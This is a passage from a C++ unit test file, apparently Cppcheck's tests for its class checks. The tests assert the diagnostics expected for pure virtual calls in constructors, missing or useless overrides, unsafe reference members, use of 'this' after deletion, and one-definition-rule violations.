\"A::~A()\\n\"\n \"{pure();}\");\n ASSERT_EQUALS(\"[test.cpp:8:2] -> [test.cpp:3:18]: (warning) Call of pure virtual function 'pure' in destructor. [pureVirtualCall]\\n\", errout_str());\n\n checkVirtualFunctionCall(\"class A\\n\"\n \" {\\n\"\n \" virtual void pure()=0;\\n\"\n \" void nonpure()\\n\"\n \" {pure();}\\n\"\n \" A();\\n\"\n \"};\\n\"\n \"A::A()\\n\"\n \"{nonpure();}\");\n ASSERT_EQUALS(\"[test.cpp:9:2] -> [test.cpp:5:6] -> [test.cpp:3:18]: (warning) Call of pure virtual function 'pure' in constructor. [pureVirtualCall]\\n\", errout_str());\n\n checkVirtualFunctionCall(\"class A\\n\"\n \" {\\n\"\n \" virtual int pure()=0;\\n\"\n \" int nonpure()\\n\"\n \" {return pure();}\\n\"\n \" A();\\n\"\n \" int m;\\n\"\n \"};\\n\"\n \"A::A():m(nonpure())\\n\"\n \"{}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:9:2] -> [test.cpp:5:6] -> [test.cpp:3:18]: (warning) Call of pure virtual function 'pure' in constructor. [pureVirtualCall]\\n\", \"\", errout_str());\n\n checkVirtualFunctionCall(\"class A\\n\"\n \" {\\n\"\n \" virtual void pure()=0;\\n\"\n \" void nonpure()\\n\"\n \" {pure();}\\n\"\n \" virtual ~A();\\n\"\n \" int m;\\n\"\n \"};\\n\"\n \"A::~A()\\n\"\n \"{nonpure();}\");\n ASSERT_EQUALS(\"[test.cpp:10:2] -> [test.cpp:5:6] -> [test.cpp:3:18]: (warning) Call of pure virtual function 'pure' in destructor. [pureVirtualCall]\\n\", errout_str());\n\n checkVirtualFunctionCall(\"class A\\n\"\n \"{\\n\"\n \" virtual void pure()=0;\\n\"\n \" A(bool b);\\n\"\n \"};\\n\"\n \"A::A(bool b)\\n\"\n \"{if (b) pure();}\");\n ASSERT_EQUALS(\"[test.cpp:7:9] -> [test.cpp:3:18]: (warning) Call of pure virtual function 'pure' in constructor. [pureVirtualCall]\\n\", errout_str());\n\n checkVirtualFunctionCall(\"class A\\n\"\n \"{\\n\"\n \" virtual void pure()=0;\\n\"\n \" virtual ~A();\\n\"\n \" int m;\\n\"\n \"};\\n\"\n \"A::~A()\\n\"\n \"{if (b) pure();}\");\n ASSERT_EQUALS(\"[test.cpp:8:9] -> [test.cpp:3:18]: (warning) Call of pure virtual function 'pure' in destructor. [pureVirtualCall]\\n\", errout_str());\n\n // #5831\n checkVirtualFunctionCall(\"class abc {\\n\"\n \"public:\\n\"\n \" virtual ~abc() throw() {}\\n\"\n \" virtual void def(void* g) throw () = 0;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #4992\n checkVirtualFunctionCall(\"class CMyClass {\\n\"\n \" std::function< void(void) > m_callback;\\n\"\n \"public:\\n\"\n \" CMyClass() {\\n\"\n \" m_callback = [this]() { return VirtualMethod(); };\\n\"\n \" }\\n\"\n \" virtual void VirtualMethod() = 0;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10559\n checkVirtualFunctionCall(\"struct S {\\n\"\n \" S(const int x) : m(std::bind(&S::f, this, x, 42)) {}\\n\"\n \" virtual int f(const int x, const int y) = 0;\\n\"\n \" std::function m;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void pureVirtualFunctionCallOtherClass() {\n checkVirtualFunctionCall(\"class A\\n\"\n \"{\\n\"\n \" virtual void pure()=0;\\n\"\n \" A(const A & a);\\n\"\n \"};\\n\"\n \"A::A(const A & a)\\n\"\n \"{a.pure();}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkVirtualFunctionCall(\"class A\\n\"\n \"{\\n\"\n \" virtual void pure()=0;\\n\"\n \" A();\\n\"\n \"};\\n\"\n \"class B\\n\"\n \"{\\n\"\n \" virtual void pure()=0;\\n\"\n \"};\\n\"\n \"A::A()\\n\"\n \"{B b; b.pure();}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void pureVirtualFunctionCallWithBody() {\n checkVirtualFunctionCall(\"class A\\n\"\n \"{\\n\"\n \" virtual void pureWithBody()=0;\\n\"\n \" A();\\n\"\n \"};\\n\"\n \"A::A()\\n\"\n \"{pureWithBody();}\\n\"\n \"void A::pureWithBody()\\n\"\n \"{}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkVirtualFunctionCall(\"class A\\n\"\n \" {\\n\"\n \" virtual void pureWithBody()=0;\\n\"\n \" void nonpure()\\n\"\n \" {pureWithBody();}\\n\"\n \" A();\\n\"\n \"};\\n\"\n \"A::A()\\n\"\n \"{nonpure();}\\n\"\n \"void A::pureWithBody()\\n\"\n \"{}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n }\n\n void pureVirtualFunctionCallPrevented() {\n checkVirtualFunctionCall(\"class A\\n\"\n \" {\\n\"\n \" virtual void pure()=0;\\n\"\n \" void nonpure(bool bCallPure)\\n\"\n \" { if (bCallPure) pure();}\\n\"\n \" A();\\n\"\n \"};\\n\"\n \"A::A()\\n\"\n \"{nonpure(false);}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkVirtualFunctionCall(\"class A\\n\"\n \" {\\n\"\n \" virtual void pure()=0;\\n\"\n \" void nonpure(bool bCallPure)\\n\"\n \" { if (!bCallPure) ; else pure();}\\n\"\n \" A();\\n\"\n \"};\\n\"\n \"A::A()\\n\"\n \"{nonpure(false);}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkVirtualFunctionCall(\"class A\\n\"\n \" {\\n\"\n \" virtual void pure()=0;\\n\"\n \" void nonpure(bool bCallPure)\\n\"\n \" {\\n\"\n \" switch (bCallPure) {\\n\"\n \" case true: pure(); break;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" A();\\n\"\n \"};\\n\"\n \"A::A()\\n\"\n \"{nonpure(false);}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n\n#define checkOverride(...) checkOverride_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void checkOverride_(const char* file, int line, const char (&code)[size]) {\n const Settings settings = settingsBuilder().severity(Severity::style).build();\n\n // Tokenize..\n SimpleTokenizer tokenizer(settings, *this);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n // Check..\n CheckClass checkClass(&tokenizer, &settings, this);\n (checkClass.checkOverride)();\n }\n\n void override1() {\n checkOverride(\"class Base { virtual void f(); };\\n\"\n \"class Derived : Base { virtual void f(); };\");\n ASSERT_EQUALS(\"[test.cpp:1:27] -> [test.cpp:2:37]: (style) The function 'f' overrides a function in a base class but is not marked with a 'override' specifier. [missingOverride]\\n\", errout_str());\n\n checkOverride(\"class Base { virtual void f(); };\\n\"\n \"class Derived : Base { virtual void f() override; };\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOverride(\"class Base { virtual void f(); };\\n\"\n \"class Derived : Base { virtual void f() final; };\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOverride(\"class Base {\\n\"\n \"public:\\n\"\n \" virtual auto foo( ) const -> size_t { return 1; }\\n\"\n \" virtual auto bar( ) const -> size_t { return 1; }\\n\"\n \"};\\n\"\n \"class Derived : public Base {\\n\"\n \"public :\\n\"\n \" auto foo( ) const -> size_t { return 0; }\\n\"\n \" auto bar( ) const -> size_t override { return 0; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:18] -> [test.cpp:8:10]: (style) The function 'foo' overrides a function in a base class but is not marked with a 'override' specifier. [missingOverride]\\n\", errout_str());\n\n checkOverride(\"namespace Test {\\n\"\n \" class C {\\n\"\n \" public:\\n\"\n \" virtual ~C();\\n\"\n \" };\\n\"\n \"}\\n\"\n \"class C : Test::C {\\n\"\n \"public:\\n\"\n \" ~C();\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:18] -> [test.cpp:9:6]: (style) The destructor '~C' overrides a destructor in a base class but is not marked with a 'override' specifier. [missingOverride]\\n\", errout_str());\n\n checkOverride(\"struct Base {\\n\"\n \" virtual void foo();\\n\"\n \"};\\n\"\n \"\\n\"\n \"struct Derived: public Base {\\n\"\n \" void foo() override;\\n\"\n \" void foo(int);\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOverride(\"struct B {\\n\" // #9092\n \" virtual int f(int i) const = 0;\\n\"\n \"};\\n\"\n \"namespace N {\\n\"\n \" struct D : B {\\n\"\n \" virtual int f(int i) const;\\n\"\n \" };\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:17] -> [test.cpp:6:21]: (style) The function 'f' overrides a function in a base class but is not marked with a 'override' specifier. [missingOverride]\\n\", errout_str());\n\n checkOverride(\"struct A {\\n\"\n \" virtual void f(int);\\n\"\n \"};\\n\"\n \"struct D : A {\\n\"\n \" void f(double);\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOverride(\"struct A {\\n\"\n \" virtual void f(int);\\n\"\n \"};\\n\"\n \"struct D : A {\\n\"\n \" void f(int);\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:18] -> [test.cpp:5:8]: (style) The function 'f' overrides a function in a base class but is not marked with a 'override' specifier. [missingOverride]\\n\", errout_str());\n\n checkOverride(\"struct A {\\n\"\n \" virtual void f(char, int);\\n\"\n \"};\\n\"\n \"struct D : A {\\n\"\n \" void f(char, int);\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:18] -> [test.cpp:5:8]: (style) The function 'f' overrides a function in a base class but is not marked with a 'override' specifier. [missingOverride]\\n\", errout_str());\n\n checkOverride(\"struct A {\\n\"\n \" virtual void f(char, int);\\n\"\n \"};\\n\"\n \"struct D : A {\\n\"\n \" void f(char, double);\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOverride(\"struct A {\\n\"\n \" virtual void f(char, int);\\n\"\n \"};\\n\"\n \"struct D : A {\\n\"\n \" void f(char c = '\\\\0', double);\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOverride(\"struct A {\\n\"\n \" virtual void f(char, int);\\n\"\n \"};\\n\"\n \"struct D : A {\\n\"\n \" void f(char c = '\\\\0', int);\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:18] -> [test.cpp:5:8]: (style) The function 'f' overrides a function in a base class but is not marked with a 'override' specifier. [missingOverride]\\n\", errout_str());\n\n checkOverride(\"struct A {\\n\"\n \" virtual void f(char c, std::vector);\\n\"\n \"};\\n\"\n \"struct D : A {\\n\"\n \" void f(char c, std::vector);\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOverride(\"struct A {\\n\"\n \" virtual void f(char c, std::vector);\\n\"\n \"};\\n\"\n \"struct D : A {\\n\"\n \" void f(char c, std::set);\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOverride(\"struct A {\\n\"\n \" virtual void f(char c, std::vector v);\\n\"\n \"};\\n\"\n \"struct D : A {\\n\"\n \" void f(char c, std::vector w = {});\\n\"\n \"};\\n\");\n TODO_ASSERT_EQUALS(\"[test.cpp:2:18] -> [test.cpp:5:8]: (style) The function 'f' overrides a function in a base class but is not marked with a 'override' specifier. [missingOverride]\\n\", \"\", errout_str());\n\n checkOverride(\"struct T {};\\n\" // #10920\n \"struct B {\\n\"\n \" virtual T f() = 0;\\n\"\n \"};\\n\"\n \"struct D : B {\\n\"\n \" friend T f();\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOverride(\"struct S {};\\n\" // #11827\n \"struct SPtr {\\n\"\n \" virtual S* operator->() const { return p; }\\n\"\n \" S* p = nullptr;\\n\"\n \"};\\n\"\n \"struct T : public S {};\\n\"\n \"struct TPtr : public SPtr {\\n\"\n \" T* operator->() const { return (T*)p; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:16] -> [test.cpp:8:8]: (style) The function 'operator->' overrides a function in a base class but is not marked with a 'override' specifier. [missingOverride]\\n\",\n errout_str());\n\n checkOverride(\"class Base {\\n\" // #12131\n \" virtual int Calculate(int arg) = 0;\\n\"\n \"};\\n\"\n \"class Derived : public Base {\\n\"\n \" int Calculate(int arg = 0) {\\n\"\n \" return arg * 2;\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:17] -> [test.cpp:5:9]: (style) The function 'Calculate' overrides a function in a base class but is not marked with a 'override' specifier. [missingOverride]\\n\", errout_str());\n\n checkOverride(\"struct S {\\n\" // #12439\n \" virtual ~S() = default;\\n\"\n \"};\\n\"\n \"struct D : S {\\n\"\n \" ~D() {}\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:14] -> [test.cpp:5:6]: (style) The destructor '~D' overrides a destructor in a base class but is not marked with a 'override' specifier. [missingOverride]\\n\",\n errout_str());\n }\n\n void overrideCVRefQualifiers() {\n checkOverride(\"class Base { virtual void f(); };\\n\"\n \"class Derived : Base { void f() const; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOverride(\"class Base { virtual void f(); };\\n\"\n \"class Derived : Base { void f() volatile; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOverride(\"class Base { virtual void f(); };\\n\"\n \"class Derived : Base { void f() &; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOverride(\"class Base { virtual void f(); };\\n\"\n \"class Derived : Base { void f() &&; }\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n #define checkUselessOverride(...) checkUselessOverride_(__FILE__, __LINE__, __VA_ARGS__)\n void checkUselessOverride_(const char* file, int line, const char code[]) {\n const Settings settings = settingsBuilder().severity(Severity::style).build();\n\n SimpleTokenizer2 tokenizer(settings, *this, code, \"test.cpp\");\n\n ASSERT_LOC(tokenizer.simplifyTokens1(\"\"), file, line);\n\n // Check..\n CheckClass checkClass(&tokenizer, &settings, this);\n (checkClass.checkUselessOverride)();\n }\n\n void uselessOverride() {\n checkUselessOverride(\"struct B { virtual int f() { return 5; } };\\n\" // #11757\n \"struct D : B {\\n\"\n \" int f() override { return B::f(); }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:1:24] -> [test.cpp:3:9]: (style) The function 'f' overrides a function in a base class but just delegates back to the base class. [uselessOverride]\\n\", errout_str());\n\n checkUselessOverride(\"struct B { virtual void f(); };\\n\"\n \"struct D : B {\\n\"\n \" void f() override { B::f(); }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:1:25] -> [test.cpp:3:10]: (style) The function 'f' overrides a function in a base class but just delegates back to the base class. [uselessOverride]\\n\", errout_str());\n\n checkUselessOverride(\"struct B { virtual int f() = 0; };\\n\"\n \"int B::f() { return 5; }\\n\"\n \"struct D : B {\\n\"\n \" int f() override { return B::f(); }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUselessOverride(\"struct B { virtual int f(int i); };\\n\"\n \"struct D : B {\\n\"\n \" int f(int i) override { return B::f(i); }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:1:24] -> [test.cpp:3:9]: (style) The function 'f' overrides a function in a base class but just delegates back to the base class. [uselessOverride]\\n\", errout_str());\n\n checkUselessOverride(\"struct B { virtual int f(int i); };\\n\"\n \"struct D : B {\\n\"\n \" int f(int i) override { return B::f(i + 1); }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUselessOverride(\"struct B { virtual int f(int i, int j); };\\n\"\n \"struct D : B {\\n\"\n \" int f(int i, int j) override { return B::f(j, i); }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUselessOverride(\"struct B { virtual int f(); };\\n\"\n \"struct I { virtual int f() = 0; };\\n\"\n \"struct D : B, I {\\n\"\n \" int f() override { return B::f(); }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUselessOverride(\"struct S { virtual void f(); };\\n\"\n \"struct D : S {\\n\"\n \" void f() final { S::f(); }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUselessOverride(\"struct S {\\n\"\n \"protected:\\n\"\n \" virtual void f();\\n\"\n \"};\\n\"\n \"struct D : S {\\n\"\n \"public:\\n\"\n \" void f() override { S::f(); }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUselessOverride(\"struct B { virtual void f(int, int, int) const; };\\n\" // #11799\n \"struct D : B {\\n\"\n \" int m = 42;\\n\"\n \" void f(int a, int b, int c) const override;\\n\"\n \"};\\n\"\n \"void D::f(int a, int b, int c) const {\\n\"\n \" B::f(a, b, m);\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUselessOverride(\"struct B {\\n\" // #11803\n \" virtual void f();\\n\"\n \" virtual void f(int i);\\n\"\n \"};\\n\"\n \"struct D : B {\\n\"\n \" void f() override { B::f(); }\\n\"\n \" void f(int i) override;\\n\"\n \" void g() { f(); }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUselessOverride(\"struct B { virtual void f(); };\\n\" // #11808\n \"struct D : B { void f() override {} };\\n\"\n \"struct D2 : D {\\n\"\n \" void f() override {\\n\"\n \" B::f();\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUselessOverride(\"struct B {\\n\"\n \" virtual int f() { return 1; }\\n\"\n \" virtual int g() { return 7; }\\n\"\n \" virtual int h(int i, int j) { return i + j; }\\n\"\n \" virtual int j(int i, int j) { return i + j; }\\n\"\n \"};\\n\"\n \"struct D : B {\\n\"\n \" int f() override { return 2; }\\n\"\n \" int g() override { return 7; }\\n\"\n \" int h(int j, int i) override { return i + j; }\\n\"\n \" int j(int i, int j) override { return i + j; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:17] -> [test.cpp:9:9]: (style) The function 'g' overrides a function in a base class but is identical to the overridden function [uselessOverride]\\n\"\n \"[test.cpp:5:17] -> [test.cpp:11:9]: (style) The function 'j' overrides a function in a base class but is identical to the overridden function [uselessOverride]\\n\",\n errout_str());\n\n checkUselessOverride(\"struct B : std::exception {\\n\"\n \" virtual void f() { throw *this; }\\n\"\n \"};\\n\"\n \"struct D : B {\\n\"\n \" void f() override { throw *this; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUselessOverride(\"#define MACRO virtual void f() {}\\n\"\n \"struct B {\\n\"\n \" MACRO\\n\"\n \"};\\n\"\n \"struct D : B {\\n\"\n \" MACRO\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUselessOverride(\"struct B {\\n\"\n \" B() = default;\\n\"\n \" explicit B(int i) : m(i) {}\\n\"\n \" int m{};\\n\"\n \" virtual int f() const { return m; }\\n\"\n \"};\\n\"\n \"struct D : B {\\n\"\n \" explicit D(int i) : m(i) {}\\n\"\n \" int m{};\\n\"\n \" int f() const override { return m; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUselessOverride(\"struct B {\\n\"\n \" int g() const;\\n\"\n \" virtual int f() const { return g(); }\\n\"\n \"};\\n\"\n \"struct D : B {\\n\"\n \" int g() const;\\n\"\n \" int f() const override { return g(); }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUselessOverride(\"#define MACRO 1\\n\"\n \"struct B { virtual int f() { return 1; } };\\n\"\n \"struct D : B {\\n\"\n \" int f() override { return MACRO; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUselessOverride(\"struct B {\\n\" // #12706\n \" virtual void f() { g(); }\\n\"\n \" void g() { std::cout << \\\"Base\\\\n\\\"; }\\n\"\n \"};\\n\"\n \"struct D : B {\\n\"\n \" void f() override { g(); }\\n\"\n \" virtual void g() { std::cout << \\\"Derived\\\\n\\\"; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUselessOverride(\"struct B {\\n\" // #12946\n \" virtual int f() { return i; }\\n\"\n \" int i;\\n\"\n \"};\\n\"\n \"struct D : B {\\n\"\n \" int f() override { return b.f(); }\\n\"\n \" B b;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n#define checkUnsafeClassRefMember(...) checkUnsafeClassRefMember_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void checkUnsafeClassRefMember_(const char* file, int line, const char (&code)[size]) {\n /*const*/ Settings settings = settingsBuilder().severity(Severity::warning).build();\n settings.safeChecks.classes = true;\n\n // Tokenize..\n SimpleTokenizer tokenizer(settings, *this);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n // Check..\n CheckClass checkClass(&tokenizer, &settings, this);\n (checkClass.checkUnsafeClassRefMember)();\n }\n\n void unsafeClassRefMember() {\n checkUnsafeClassRefMember(\"class C { C(const std::string &s) : s(s) {} const std::string &s; };\");\n ASSERT_EQUALS(\"[test.cpp:1:37]: (warning) Unsafe class: The const reference member 'C::s' is initialized by a const reference constructor argument. You need to be careful about lifetime issues. [unsafeClassRefMember]\\n\", errout_str());\n }\n\n\n#define checkThisUseAfterFree(...) checkThisUseAfterFree_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void checkThisUseAfterFree_(const char* file, int line, const char (&code)[size]) {\n // Tokenize..\n SimpleTokenizer tokenizer(settings1, *this);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n // Check..\n CheckClass checkClass(&tokenizer, &settings1, this);\n (checkClass.checkThisUseAfterFree)();\n }\n\n void thisUseAfterFree() {\n setMultiline();\n\n // Calling method..\n checkThisUseAfterFree(\"class C {\\n\"\n \"public:\\n\"\n \" void dostuff() { delete mInstance; hello(); }\\n\"\n \"private:\\n\"\n \" static C *mInstance;\\n\"\n \" void hello() {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:38]: warning: Calling method 'hello()' when 'this' might be invalid [thisUseAfterFree]\\n\"\n \"[test.cpp:5:13]: note: Assuming 'mInstance' is used as 'this'\\n\"\n \"[test.cpp:3:20]: note: Delete 'mInstance', invalidating 'this'\\n\"\n \"[test.cpp:3:38]: note: Call method when 'this' is invalid\\n\",\n errout_str());\n\n checkThisUseAfterFree(\"class C {\\n\"\n \"public:\\n\"\n \" void dostuff() { mInstance.reset(); hello(); }\\n\"\n \"private:\\n\"\n \" static std::shared_ptr mInstance;\\n\"\n \" void hello() {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:39]: warning: Calling method 'hello()' when 'this' might be invalid [thisUseAfterFree]\\n\"\n \"[test.cpp:5:29]: note: Assuming 'mInstance' is used as 'this'\\n\"\n \"[test.cpp:3:20]: note: Delete 'mInstance', invalidating 'this'\\n\"\n \"[test.cpp:3:39]: note: Call method when 'this' is invalid\\n\",\n errout_str());\n\n checkThisUseAfterFree(\"class C {\\n\"\n \"public:\\n\"\n \" void dostuff() { reset(); hello(); }\\n\"\n \"private:\\n\"\n \" static std::shared_ptr mInstance;\\n\"\n \" void hello();\\n\"\n \" void reset() { mInstance.reset(); }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:29]: warning: Calling method 'hello()' when 'this' might be invalid [thisUseAfterFree]\\n\"\n \"[test.cpp:5:29]: note: Assuming 'mInstance' is used as 'this'\\n\"\n \"[test.cpp:7:18]: note: Delete 'mInstance', invalidating 'this'\\n\"\n \"[test.cpp:3:29]: note: Call method when 'this' is invalid\\n\",\n errout_str());\n\n // Use member..\n checkThisUseAfterFree(\"class C {\\n\"\n \"public:\\n\"\n \" void dostuff() { delete self; x = 123; }\\n\"\n \"private:\\n\"\n \" static C *self;\\n\"\n \" int x;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:33]: warning: Using member 'x' when 'this' might be invalid [thisUseAfterFree]\\n\"\n \"[test.cpp:5:13]: note: Assuming 'self' is used as 'this'\\n\"\n \"[test.cpp:3:20]: note: Delete 'self', invalidating 'this'\\n\"\n \"[test.cpp:3:33]: note: Call method when 'this' is invalid\\n\",\n errout_str());\n\n checkThisUseAfterFree(\"class C {\\n\"\n \"public:\\n\"\n \" void dostuff() { delete self; x[1] = 123; }\\n\"\n \"private:\\n\"\n \" static C *self;\\n\"\n \" std::map x;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:33]: warning: Using member 'x' when 'this' might be invalid [thisUseAfterFree]\\n\"\n \"[test.cpp:5:13]: note: Assuming 'self' is used as 'this'\\n\"\n \"[test.cpp:3:20]: note: Delete 'self', invalidating 'this'\\n\"\n \"[test.cpp:3:33]: note: Call method when 'this' is invalid\\n\",\n errout_str());\n\n // Assign 'shared_from_this()' to non-static smart pointer\n checkThisUseAfterFree(\"class C {\\n\"\n \"public:\\n\"\n \" void hold() { mInstance = shared_from_this(); }\\n\"\n \" void dostuff() { mInstance.reset(); hello(); }\\n\"\n \"private:\\n\"\n \" std::shared_ptr mInstance;\\n\"\n \" void hello() {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:39]: warning: Calling method 'hello()' when 'this' might be invalid [thisUseAfterFree]\\n\"\n \"[test.cpp:6:22]: note: Assuming 'mInstance' is used as 'this'\\n\"\n \"[test.cpp:4:20]: note: Delete 'mInstance', invalidating 'this'\\n\"\n \"[test.cpp:4:39]: note: Call method when 'this' is invalid\\n\",\n errout_str());\n\n // Avoid FP..\n checkThisUseAfterFree(\"class C {\\n\"\n \"public:\\n\"\n \" void dostuff() { delete self; x = 123; }\\n\"\n \"private:\\n\"\n \" C *self;\\n\"\n \" int x;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkThisUseAfterFree(\"class C {\\n\"\n \"public:\\n\"\n \" void hold() { mInstance = shared_from_this(); }\\n\"\n \" void dostuff() { if (x) { mInstance.reset(); return; } hello(); }\\n\"\n \"private:\\n\"\n \" std::shared_ptr mInstance;\\n\"\n \" void hello() {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkThisUseAfterFree(\"class C\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" explicit C(const QString& path) : mPath( path ) {}\\n\"\n \"\\n\"\n \" static void initialize(const QString& path) {\\n\" // <- avoid fp in static method\n \" if (instanceSingleton)\\n\"\n \" delete instanceSingleton;\\n\"\n \" instanceSingleton = new C(path);\\n\"\n \" }\\n\"\n \"private:\\n\"\n \" static C* instanceSingleton;\\n\"\n \"};\\n\"\n \"\\n\"\n \"C* C::instanceSingleton;\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Avoid false positive when pointer is deleted in lambda\n checkThisUseAfterFree(\"class C {\\n\"\n \"public:\\n\"\n \" void foo();\\n\"\n \" void set() { p = this; }\\n\"\n \" void dostuff() {}\\n\"\n \" C* p;\\n\"\n \"};\\n\"\n \"\\n\"\n \"void C::foo() {\\n\"\n \" auto done = [this] () { delete p; };\\n\"\n \" dostuff();\\n\"\n \" done();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkThisUseAfterFree(\"class C {\\n\" // #13311\n \"public:\\n\"\n \" static void init();\\n\"\n \"private:\\n\"\n \" C();\\n\"\n \" static C* self;\\n\"\n \" bool use;\\n\"\n \"};\\n\"\n \"C::C() { use = true; }\\n\"\n \"void C::init() {\\n\"\n \" if (self)\\n\"\n \" delete self;\\n\"\n \" self = new C();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n\n void ctu(const std::vector &code) {\n Check &check = getCheck();\n\n // getFileInfo\n std::list fileInfo;\n for (const std::string& c: code) {\n const std::string filename = std::to_string(fileInfo.size()) + \".cpp\";\n SimpleTokenizer tokenizer{settingsDefault, *this, filename};\n ASSERT(tokenizer.tokenize(c));\n fileInfo.push_back(check.getFileInfo(tokenizer, settingsDefault, \"\"));\n }\n\n // Check code..\n const CTU::FileInfo ctu;\n check.analyseWholeProgram(ctu, fileInfo, settingsDefault, *this); // TODO: check result\n\n while (!fileInfo.empty()) {\n delete fileInfo.back();\n fileInfo.pop_back();\n }\n }\n\n void ctuOneDefinitionRule() {\n ctu({\"class C { C() { std::cout << 0; } };\", \"class C { C() { std::cout << 1; } };\"});\n ASSERT_EQUALS(\"[1.cpp:1:1] -> [0.cpp:1:1]: (error) The one definition rule is violated, different classes/structs have the same name 'C' [ctuOneDefinitionRuleViolation]\\n\", errout_str());\n\n ctu({\"class C { C(); }; C::C() { std::cout << 0; }\", \"class C { C(); }; C::C() { std::cout << 1; }\"});\n ASSERT_EQUALS(\"[1.cpp:1:1] -> [0.cpp:1:1]: (error) The one definition rule is violated, different classes/structs have the same name 'C' [ctuOneDefinitionRuleViolation]\\n\", errout_str());\n\n ctu({\"class C { C() {} };\\n\", \"class C { C() {} };\\n\"});\n ASSERT_EQUALS(\"\", errout_str());\n\n ctu({\"class C { C(); }; C::C(){}\", \"class C { C(); }; C::C(){}\"});\n ASSERT_EQUALS(\"\", errout_str());\n\n ctu({\"class A::C { C() { std::cout << 0; } };\", \"class B::C { C() { std::cout << 1; } };\"});\n ASSERT_EQUALS(\"\", errout_str());\n\n // 11435 - template specialisations\n const std::string header = \"template struct Test {};\\n\";\n ctu({header + \"template struct Test {};\\n\",\n header + \"template struct Test {};\\n\"});\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n\n#define getFileInfo(...) getFileInfo_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void getFileInfo_(const char* file, int line, const char (&code)[size]) {\n // Tokenize..\n SimpleTokenizer tokenizer(settings1, *this);\n 